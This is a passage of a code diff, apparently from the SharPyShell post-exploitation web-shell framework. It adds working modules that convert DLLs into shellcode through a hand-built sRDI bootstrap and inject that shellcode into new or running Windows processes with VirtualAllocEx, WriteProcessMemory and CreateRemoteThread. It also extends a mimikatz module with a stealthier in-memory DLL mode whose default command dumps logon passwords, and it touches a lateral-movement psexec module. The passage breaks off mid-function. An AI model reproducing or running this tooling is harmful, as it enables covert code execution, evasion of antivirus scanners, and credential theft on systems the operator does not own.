
     70 + 
     71 + if self.__is64BitDLL(dllBytes):
     72 + 
     73 + rdiShellcode = rdiShellcode64
     74 + 
     75 + bootstrap = b''
     76 + bootstrapSize = 64
     77 + 
     78 + # call next instruction (Pushes next instruction address to stack)
     79 + bootstrap += b'\xe8\x00\x00\x00\x00'
     80 + 
     81 + # Set the offset to our DLL from pop result
     82 + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
     83 + 
     84 + # pop rcx - Capture our current location in memory
     85 + bootstrap += b'\x59'
     86 + 
     87 + # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
     88 + bootstrap += b'\x49\x89\xc8'
     89 + 
     90 + # add rcx, <Offset of the DLL>
     91 + bootstrap += b'\x48\x81\xc1'
     92 + bootstrap += pack('I', dllOffset)
     93 + 
     94 + # mov edx, <Hash of function>
     95 + bootstrap += b'\xba'
     96 + bootstrap += pack('I', functionHash)
     97 + 
     98 + # Setup the location of our user data
     99 + # add r8, <Offset of the DLL> + <Length of DLL>
     100 + bootstrap += b'\x49\x81\xc0'
     101 + userDataLocation = dllOffset + len(dllBytes)
     102 + bootstrap += pack('I', userDataLocation)
     103 + 
     104 + # mov r9d, <Length of User Data>
     105 + bootstrap += b'\x41\xb9'
     106 + bootstrap += pack('I', len(userData))
     107 + 
     108 + # push rsi - save original value
     109 + bootstrap += b'\x56'
     110 + 
     111 + # mov rsi, rsp - store our current stack pointer for later
     112 + bootstrap += b'\x48\x89\xe6'
     113 + 
     114 + # and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
     115 + bootstrap += b'\x48\x83\xe4\xf0'
     116 + 
     117 + # sub rsp, 0x30 - Create some breathing room on the stack
     118 + bootstrap += b'\x48\x83\xec'
     119 + bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
     120 + 
     121 + # mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
     122 + bootstrap += b'\xC7\x44\x24'
     123 + bootstrap += b'\x20'
     124 + bootstrap += pack('I', flags)
     125 + 
     126 + # call - Transfer execution to the RDI
     127 + bootstrap += b'\xe8'
     128 + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
     129 + bootstrap += b'\x00\x00\x00'
     130 + 
     131 + # mov rsp, rsi - Reset our original stack pointer
     132 + bootstrap += b'\x48\x89\xf4'
     133 + 
     134 + # pop rsi - Put things back where we left them
     135 + bootstrap += b'\x5e'
     136 + 
     137 + # ret - return to caller
     138 + bootstrap += b'\xc3'
     139 + 
     140 + if len(bootstrap) != bootstrapSize:
     141 + raise InjectDllSrdiModuleException("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
     142 + 
     143 + # Ends up looking like this in memory:
     144 + # Bootstrap shellcode
     145 + # RDI shellcode
     146 + # DLL bytes
     147 + # User data
     148 + return bootstrap + rdiShellcode + dllBytes + userData
     149 + 
     150 + else: # 32 bit
     151 + rdiShellcode = rdiShellcode32
     152 + 
     153 + bootstrap = b''
     154 + bootstrapSize = 46
     155 + 
     156 + # call next instruction (Pushes next instruction address to stack)
     157 + bootstrap += b'\xe8\x00\x00\x00\x00'
     158 + 
     159 + # Set the offset to our DLL from pop result
     160 + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
     161 + 
     162 + # pop eax - Capture our current location in memory
     163 + bootstrap += b'\x58'
     164 + 
     165 + # push ebp
     166 + bootstrap += b'\x55'
     167 + 
     168 + # mov ebp, esp
     169 + bootstrap += b'\x89\xe5'
     170 + 
     171 + # mov ebx, eax - copy our location in memory to ebx before we start modifying eax
     172 + bootstrap += b'\x89\xc3'
     173 + 
     174 + # add eax, <Offset to the DLL>
     175 + bootstrap += b'\x05'
     176 + bootstrap += pack('I', dllOffset)
     177 + 
     178 + # add ebx, <Offset to the DLL> + <Size of DLL>
     179 + bootstrap += b'\x81\xc3'
     180 + userDataLocation = dllOffset + len(dllBytes)
     181 + bootstrap += pack('I', userDataLocation)
     182 + 
     183 + # push <Flags>
     184 + bootstrap += b'\x68'
     185 + bootstrap += pack('I', flags)
     186 + 
     187 + # push <Length of User Data>
     188 + bootstrap += b'\x68'
     189 + bootstrap += pack('I', len(userData))
     190 + 
     191 + # push ebx
     192 + bootstrap += b'\x53'
     193 + 
     194 + # push <hash of function>
     195 + bootstrap += b'\x68'
     196 + bootstrap += pack('I', functionHash)
     197 + 
     198 + # push eax
     199 + bootstrap += b'\x50'
     200 + 
     201 + # call - Transfer execution to the RDI
     202 + bootstrap += b'\xe8'
     203 + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
     204 + bootstrap += b'\x00\x00\x00'
     205 + 
     206 + # leave
     207 + bootstrap += b'\xc9'
     208 + 
     209 + # ret - return to caller
     210 + bootstrap += b'\xc3'
     211 + 
     212 + if len(bootstrap) != bootstrapSize:
     213 + raise InjectDllSrdiModuleException("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
     214 + 
     215 + # Ends up looking like this in memory:
     216 + # Bootstrap shellcode
     217 + # RDI shellcode
     218 + # DLL bytes
     219 + # User data
     220 + return bootstrap + rdiShellcode + dllBytes + userData
     221 + 
     222 + 
     223 +class Inject_dll_srdi(Inject_shellcode):
     224 + _exception_class = InjectDllSrdiModuleException
     225 + short_help = "Inject a generic DLL in a new (or existing) process"
     226 + complete_help = r"""
     227 + Author: @monoxgas
     228 + Link: https://github.com/monoxgas/sRDI
     229 +
     230 +
     231 + Inject a generic DLL into a remote process.
     232 + This module converts a generic DLL into a position independent Shellcode ready to be injected.
     233 + You can choose to create a new process or use a pid of an existing process as a host process.
     234 + The dll_path is a relative path to a dll that exists in the folder 'dll/'.
     235 + You can use one of the following supported injection techniques:
     236 + - remote_virtual: classic injection:
     237 + VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
     238 + - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
     239 + VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
     240 + Note that when you try to inject into an existing process you should ensure you have the rights to open
     241 + a handle to that process otherwise the injection cannot be performed.
     242 +
     243 +
     244 + Usage:
     245 + #inject_dll_srdi dll_path [injection_type] [remote_process]
     246 +
     247 + Positional arguments:
     248 + dll_path name of a .dll module in the 'dll/' directory
     249 + the DLL must contain a ReflectiveLoader exported function
     250 + injection_type the process injection method to use for injecting shellcode
     251 + Allowed values: 'remote_virtual', 'remote_virtual_protect'
     252 + Default: 'remote_virtual'
     253 + remote_process path to an executable to spawn as a host process for the shellcode
     254 + if you pass a pid it will try to inject into an existing running process
     255 + Default: 'cmd.exe'
     256 + 
     257 + Examples:
     258 + Convert a messagebox generic DLL in shellcode and inject into an existing process:
     259 + #inject_dll_srdi messagebox_msf.dll remote_virtual 2264
     260 + """
     261 + 
     262 + __default_exported_function_name = 0x10
     263 + __default_exported_function_data = b'None'
     264 + 
     265 + def _parse_run_args(self, args):
     266 + if len(args) < 1:
     267 + raise self._exception_class('#inject_dll_srdi: Not enough arguments. 1 Argument required.\n')
     268 + args_parser = {k: v for k, v in enumerate(args)}
     269 + dll_path = args_parser.get(0)
     270 + injection_type = args_parser.get(1, self._default_injection_type)
     271 + remote_process = args_parser.get(2, self._default_remote_process)
     272 + thread_timeout = args_parser.get(3, self._default_thread_timeout)
     273 + thread_parameters = args_parser.get(4, self._default_thread_parameters)
     274 + exported_function_name = args_parser.get(5, self.__default_exported_function_name)
     275 + exported_function_data = args_parser.get(6, self.__default_exported_function_data)
     276 + return dll_path, injection_type, remote_process, thread_timeout, thread_parameters,\
     277 + exported_function_name, exported_function_data
     278 + 
     279 + def _create_request(self, args):
     280 + dll_path, injection_type, remote_process, thread_timeout,\
     281 + thread_parameters, exported_function_name, exported_function_data = self._parse_run_args(args)
     282 + dll_path = config.modules_paths + 'dll/' + dll_path
     283 + with open(dll_path, 'rb') as file_handle:
     284 + dll_bin_byte_arr = bytearray(file_handle.read())
     285 + srdi_object = sRDI()
     286 + if exported_function_name != 0x10:
     287 + exported_function_name = srdi_object.HashFunctionName(exported_function_name)
     288 + shellcode_bin_byte_arr = \
     289 + srdi_object.ConvertToShellcode(dll_bin_byte_arr,
     290 + functionHash=exported_function_name,
     291 + userData=exported_function_data)
     292 + base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(shellcode_bin_byte_arr)
     293 + if injection_type == 'remote_virtual_protect':
     294 + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
     295 + thread_parameters, remote_process,
     296 + thread_timeout, '0')
     297 + else:
     298 + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
     299 + thread_parameters, remote_process,
     300 + thread_timeout, '0')
     301 + return runtime_code
     302 + 
  • ■ ■ ■ ■ ■ ■
    modules/inject_shellcode.py
     1 +from core.Module import Module, ModuleException
     2 +from utils import gzip_utils
     3 + 
     4 + 
     5 +class InjectShellcodeModuleException(ModuleException):
     6 + pass
     7 + 
     8 + 
     9 +class Inject_shellcode(Module):
     10 + _exception_class = InjectShellcodeModuleException
     11 + short_help = "Inject shellcode in a new (or existing) process"
     12 + complete_help = r"""
     13 + This module allow to inject your shellcode in a host process.
     14 + You can choose to create a new process or use a pid of an existing process as a host process.
     15 + If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw.
     16 + You can use one of the following supported injection techniques:
     17 +
     18 + - remote_virtual: classic injection:
     19 + VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
     20 + - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
     21 + VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
     22 +
     23 + Note that when you try to inject into an existing process you should ensure you have the rights to open
     24 + a handle to that process otherwise the injection cannot be performed.
     25 +
     26 + Usage:
     27 + #inject_shellcode shellcode_path [injection_type] [remote_process]
     28 +
     29 + Positional arguments:
     30 + shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw)
     31 + injection_type the process injection method to use for injecting shellcode
     32 + Allowed values: 'remote_virtual', 'remote_virtual_protect'
     33 + Default: 'remote_virtual'
     34 + remote_process path to an executable to spawn as a host process for the DLL code
     35 + if you pass a pid it will try to inject into an existing running process
     36 + Default: 'cmd.exe'
     37 + 
     38 + Examples:
     39 + Inject generated shellcode:
     40 + #inject_shellcode /path/to/shellcode
     41 + Inject shellcode with specific injection type:
     42 + #inject_shellcode /path/to/shellcode 'remote_virtual_protect'
     43 + Inject shellcode into an existing process
     44 + #inject_shellcode /path/to/shellcode 'remote_virtual' '1550'
     45 +
     46 + """
     47 + 
     48 + _runtime_code = ur"""
     49 + using System;using System.IO;using System.Diagnostics;using System.Text;
     50 + using System.Runtime.InteropServices; using System.IO.Compression;
     51 + 
     52 + public class SharPyShell
     53 + {
     54 + [DllImport("kernel32.dll", SetLastError = true)]
     55 + static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
     56 + 
     57 + [DllImport("kernel32.dll", SetLastError = true)]
     58 + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
     59 + 
     60 + [DllImport("kernel32.dll", SetLastError = true)]
     61 + static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
     62 +
     63 + [DllImport("kernel32.dll", SetLastError = true)]
     64 + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
     65 + 
     66 + [DllImport("kernel32.dll", SetLastError = true)]
     67 + static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
     68 +
     69 + [DllImport("kernel32.dll", SetLastError=true)]
     70 + static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
     71 +
     72 + [DllImport("kernel32.dll", SetLastError = true)]
     73 + static extern bool CloseHandle(IntPtr hObject);
     74 +
     75 + [DllImport("ntdll.dll", SetLastError = true)]
     76 + static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer);
     77 + 
     78 + const uint PAGE_ALIGN = 1024;
     79 +
     80 + const int PROCESS_CREATE_THREAD = 0x0002;
     81 + const int PROCESS_QUERY_INFORMATION = 0x0400;
     82 + const int PROCESS_VM_OPERATION = 0x0008;
     83 + const int PROCESS_VM_WRITE = 0x0020;
     84 + const int PROCESS_VM_READ = 0x0010;
     85 + 
     86 + const uint MEM_COMMIT = 0x00001000;
     87 + const uint MEM_RESERVE = 0x00002000;
     88 + const uint PAGE_READWRITE = 0x04;
     89 + const uint PAGE_EXECUTE_READ = 0x20;
     90 + const uint PAGE_EXECUTE_READWRITE = 0x40;
     91 + 
     92 + const uint WAIT_OBJECT_0 = 0x00000000;
     93 + 
     94 + public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
     95 + {
     96 + string output = "";
     97 + string error_string = "\n\n\t{{{SharPyShellError}}}";
     98 + int processId=0;
     99 + Process targetProcess = new Process();
     100 + IntPtr targetProcessHandle = IntPtr.Zero;
     101 + IntPtr injectedThreadHandle = IntPtr.Zero;
     102 + bool usingExistingProcess = false;
     103 + try
     104 + {
     105 + if(!Int32.TryParse(process, out processId)){
     106 + targetProcess = Process.Start(process);
     107 + processId = targetProcess.Id;
     108 + output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
     109 + }
     110 + else{
     111 + targetProcess = Process.GetProcessById(processId);
     112 + usingExistingProcess = true;
     113 + output += "\n\n\tTrying to open running process with pid " + processId.ToString();
     114 + }
     115 + string processName = targetProcess.ProcessName;
     116 + string targetProcessPid = processId.ToString();
     117 + targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
     118 + if(targetProcessHandle == (IntPtr)0){
     119 + output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
     120 + return output;
     121 + }
     122 + output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
     123 +
     124 + uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
     125 + if(codeMemorySize %% PAGE_ALIGN != 0)
     126 + codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN);
     127 + %s
     128 + 
     129 + codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
     130 + if(threadParameters.Length > 0){
     131 + output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
     132 + uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
     133 + IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     134 + if(threadParametersMemAddress == (IntPtr)0){
     135 + output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
     136 + return output;
     137 + }
     138 + uint bytesWrittenThreadParams;
     139 + output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
     140 + if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
     141 + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
     142 + return output;
     143 + }
     144 + output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
     145 + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
     146 + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
     147 + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero);
     148 + }
     149 + else{
     150 + output += "\n\n\tUsing CreateRemoteThread...";
     151 + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
     152 + }
     153 + }
     154 + else{
     155 + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
     156 + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
     157 + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
     158 + }
     159 + else{
     160 + output += "\n\n\tUsing CreateRemoteThread...";
     161 + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
     162 + }
     163 + }
     164 + if(injectedThreadHandle == (IntPtr)0){
     165 + output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error();
     166 + return output;
     167 + }
     168 + output += "\n\n\tRemote Thread started!";
     169 + if(threadTimeout>0){
     170 + uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
     171 + if(wait_for == WAIT_OBJECT_0){
     172 + output += "\n\n\tCode executed and exited correctly";
     173 + try{
     174 + Process.GetProcessById(processId);
     175 + targetProcess.Kill();
     176 + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
     177 + }
     178 + catch{
     179 + output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
     180 + }
     181 + }
     182 + else{
     183 + output += "\n\n\tRemote Thread Timed Out";
     184 + }
     185 + }
     186 + else{
     187 + output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
     188 + }
     189 + }
     190 + catch (Exception ex)
     191 + {
     192 + output += error_string + "\n\tException occurred. " + ex.Message;
     193 + return output;
     194 + }
     195 + finally{
     196 + if((int)injectedThreadHandle > 0)
     197 + CloseHandle(injectedThreadHandle);
     198 + if((int)targetProcessHandle > 0)
     199 + CloseHandle(targetProcessHandle);
     200 + }
     201 + return output + "\n\n";
     202 + }
     203 +
     204 + private byte[] Decompress(byte[] data)
     205 + {
     206 + using (MemoryStream compressedStream = new MemoryStream(data))
     207 + using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
     208 + using (MemoryStream resultStream = new MemoryStream())
     209 + {
     210 + byte[] buffer = new byte[16*1024];
     211 + int read;
     212 + while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
     213 + {
     214 + resultStream.Write(buffer, 0, read);
     215 + }
     216 + return resultStream.ToArray();
     217 + }
     218 + }
     219 + 
     220 + public byte[] ExecRuntime()
     221 + {
     222 + string shellcodeBase64 = "%s";
     223 + byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
     224 + byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
     225 + byte[] threadParameters = %s;
     226 + string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s);
     227 + byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
     228 + return(output_func_byte);
     229 + }
     230 + }
     231 + """
     232 + 
     233 + _runtime_code_virtual = ur"""
     234 + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     235 + if(codeMemAddress == (IntPtr)0){
     236 + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
     237 + return output;
     238 + }
     239 + uint bytesWrittenCode;
     240 + output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
     241 + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
     242 + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
     243 + return output;
     244 + }
     245 + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
     246 + """
     247 + 
     248 + _runtime_code_virtual_protect = ur"""
     249 + uint codeMemSize = codeMemorySize;
     250 + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     251 + if(codeMemAddress == (IntPtr)0){
     252 + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
     253 + return output;
     254 + }
     255 + uint bytesWrittenCode;
     256 + output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
     257 + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
     258 + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
     259 + return output;
     260 + }
     261 + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
     262 + uint lpflOldProtect;
     263 + if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
     264 + output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
     265 + return output;
     266 + }
     267 + output += "\n\n\tChanged allocated memory for code from RW to RX";
     268 + """
     269 + 
     270 + _default_injection_type = 'remote_virtual'
     271 + _default_remote_process = 'cmd.exe'
     272 + _default_thread_timeout = '0'
     273 + _default_thread_parameters = '{}'
     274 + _default_code_offset = '0'
     275 + 
     276 + def _parse_run_args(self, args):
     277 + if len(args) < 1:
     278 + raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
     279 + args_parser = {k: v for k, v in enumerate(args)}
     280 + shellcode_path = args_parser.get(0)
     281 + injection_type = args_parser.get(1, self._default_injection_type)
     282 + remote_process = args_parser.get(2, self._default_remote_process)
     283 + thread_timeout = args_parser.get(3, self._default_thread_timeout)
     284 + thread_parameters = args_parser.get(4, self._default_thread_parameters)
     285 + code_offset = args_parser.get(5, self._default_code_offset)
     286 + return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset
     287 + 
     288 + def _create_request(self, args):
     289 + shellcode_path, injection_type, remote_process,\
     290 + thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
     291 + base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path)
     292 + if injection_type == 'remote_virtual_protect':
     293 + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode,
     294 + thread_parameters, remote_process,
     295 + thread_timeout, code_offset)
     296 + else:
     297 + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode,
     298 + thread_parameters, remote_process,
     299 + thread_timeout, code_offset)
     300 + return runtime_code
     301 + 
  • ■ ■ ■ ■ ■ ■
    modules/invoke_ps_module.py
    skipped 104 lines
    105 105   def _gen_appended_code(self, appended_code):
    106 106   if appended_code == '':
    107 107   return ''
     108 + if '""' in appended_code:
     109 + appended_code = appended_code.replace('""', '"')
    108 110   enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
    109 111   byte_arr_app_module_encrypted = bytearray(appended_code)
    110 112   self.__xor_bytearray(byte_arr_app_module_encrypted)
    skipped 55 lines
  • ■ ■ ■ ■
    modules/lateral_psexec.py
    skipped 33 lines
    34 34   In those cases, you need to use different credentials of a more privileged user in order to launch this module.
    35 35  
    36 36   Usage:
    37  - #lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
     37 + #lateral_psexec target_ip username password command [runas_system] [local_user] [local_password] [local_domain]
    38 38  
    39 39   Positional arguments:
    40 40   target_ip the ip of the remote server
    skipped 326 lines
  • ■ ■ ■ ■ ■ ■
    modules/mimikatz.py
    skipped 4 lines
    5 5  from modules.runas import Runas
    6 6  from modules.invoke_ps_module import Invoke_ps_module
    7 7  from modules.invoke_ps_module_as import Invoke_ps_module_as
     8 +from modules.inject_dll_srdi import Inject_dll_srdi
    8 9  from utils.random_string import random_generator
    9 10  import traceback
    10 11   
    skipped 6 lines
    17 18   _exception_class = MimikatzModuleException
    18 19   short_help = "Run an offline version of mimikatz directly in memory"
    19 20   complete_help = r"""
     21 + Authors: @gentilkiwi @PowerShellMafia
     22 + Links: https://github.com/gentilkiwi/mimikatz
     23 + https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
     24 + Credits: @phra
     25 +
     26 +
    20 27   This module allows you to run mimikatz in a versatile way.
    21  - Within this module it is possible to run mimikatz in 2 different way:
     28 + Within this module it is possible to run mimikatz in 3 different ways:
    22 29   'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
    23  - 'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
     30 + 'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
     31 + 'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
    24 32   It is recommended to run the ps1 version because it will be obfuscated and run from memory.
    25 33   The exe version will be just dropped as clear and could be catched by av scanners.
    26  - Exec_Type can be 'ps1' or 'exe'.
     34 + The dll version is the most stealthy but it doesn't support impersonation atm.
    27 35  
    28  - Source Code:
    29  - https://github.com/gentilkiwi/mimikatz
    30  - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
    31 36  
    32 37   Usage:
    33 38   #mimikatz [exec_type] [username] [password] [domain] [custom_command]
    34 39  
    35 40   Positional arguments:
    36  - exec_type type of running mimikatz.
    37  - 'ps1' will upload and execute the powershell version of mimikatz
    38  - 'exe' will upload and execute the classic version of binary mimikatz
     41 + exec_type execution type for running mimikatz:
     42 + 'ps1' will upload and execute the powershell version of mimikatz
     43 + 'exe' will upload and execute the classic version of binary mimikatz
     44 + 'dll' will inject converted dll shellcode into a remote process
    39 45   Default: 'ps1'
    40 46   username username of the user to runas the process
    41 47   password password of the user to runas the process
    skipped 1 lines
    43 49   custom_command based on exec_type, the custom command could be:
    44 50   - 'ps1' : powershell code to add to the ps1 mimikatz module;
    45 51   - 'exe' : command line arguments to the mimikatz binary;
     52 + - 'dll' : command line arguments to be executed.
    46 53   Default:
    47 54   'ps1': ';Invoke-Mimikatz -DumpCreds'
    48 55   'exe': 'privilege::debug sekurlsa::logonpasswords exit'
     56 + 'dll': 'privilege::debug sekurlsa::logonpasswords exit'
    49 57  
    50 58   Examples:
    51 59   Run mimikatz as the current user
    52 60   #mimikatz
     61 + Run mimikatz dll
     62 + #mimikatz 'dll'
    53 63   Run mimikatz as a specific local user
    54 64   #mimikatz 'ps1' 'user1' 'password1'
    55 65   Run mimikatz as a specific domain user
    skipped 23 lines
    79 89   self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
    80 90   self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
    81 91   self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
     92 + self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
    82 93   
    83 94   def __parse_run_args(self, args):
    84 95   args_parser = {k: v for k, v in enumerate(args)}
    skipped 1 lines
    86 97   username = args_parser.get(1, self.__default_username)
    87 98   password = args_parser.get(2, self.__default_password)
    88 99   domain = args_parser.get(3, self.__default_domain)
    89  - custom_command = args_parser.get(4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command)
     100 + custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
    90 101   return exec_type, username, password, domain, custom_command
    91 102   
    92 103   def __lookup_exe_binary(self):
    skipped 10 lines
    103 114   return bin_path
    104 115   
    105 116   def __run_exe_version(self, username, password, domain, custom_command):
    106  - try:
    107  - remote_upload_path = self.__lookup_exe_binary()
    108  - if username == '':
    109  - response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
    110  - else:
    111  - response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
    112  - parsed_response = self._parse_response(response)
    113  - except ModuleException as module_exc:
    114  - parsed_response = str(module_exc)
     117 + remote_upload_path = self.__lookup_exe_binary()
     118 + if username == '':
     119 + response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
     120 + else:
     121 + response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
     122 + parsed_response = self._parse_response(response)
     123 + return parsed_response
     124 + 
     125 + def __run_dll_version(self, username, custom_command):
     126 + dll_name = 'powerkatz.dll'
     127 + exported_function_name = 'powershell_reflective_mimikatz'
     128 + log_file = self._module_settings['env_directory'] + '\\' + random_generator()
     129 + exported_function_data = str(('"log ' + log_file + '" ' + custom_command + '\x00').encode('utf-16-le'))
     130 + if username == '':
